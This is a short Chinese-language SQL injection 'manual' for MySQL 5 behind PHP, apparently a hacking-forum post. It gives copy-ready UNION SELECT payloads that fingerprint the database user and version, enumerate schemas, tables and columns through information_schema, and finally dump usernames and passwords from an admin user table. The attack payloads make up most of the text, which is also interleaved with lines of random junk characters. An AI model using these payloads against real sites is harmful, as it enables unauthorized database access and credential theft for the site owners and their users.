mysql盲注手册

admin

! l# _+ t1 {" F1 ?  o7 ]! Y教程内容:Mysql 5+php 注入
# o: M! R; z8 S2 P3 j8 `& Y) B. a
8 P! P& C0 p6 L; o

4 T6 m/ w, B: E- e一.查看MYSQL基本信息(库名,版本,用户)

and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

二.查数据库
4 I2 L, H4 p7 K6 |9 v
7 d1 Q2 R! L# a1 E) cand 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表
5 c2 a$ `& P6 w3 A8 u+ Y! j
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
0 _  }5 m% O  I2 q9 E2 v; F
- |# l, K5 J2 x% U3 t1 C/ |7 mlimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
% O# l5 j4 u) O- ]" {( C9 z) F
  F6 z9 I6 b& M7 b* [0 c四.暴字段

and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
! T, k$ c+ C/ g% Z) {. X% n. ^
4 [- |! V% u/ [  ?& A/ i0 A$ P五.暴数据

1 }8 H6 d3 ~+ ^3 f2 {and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*

. v- k0 U0 ~8 K: A9 W8 V
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。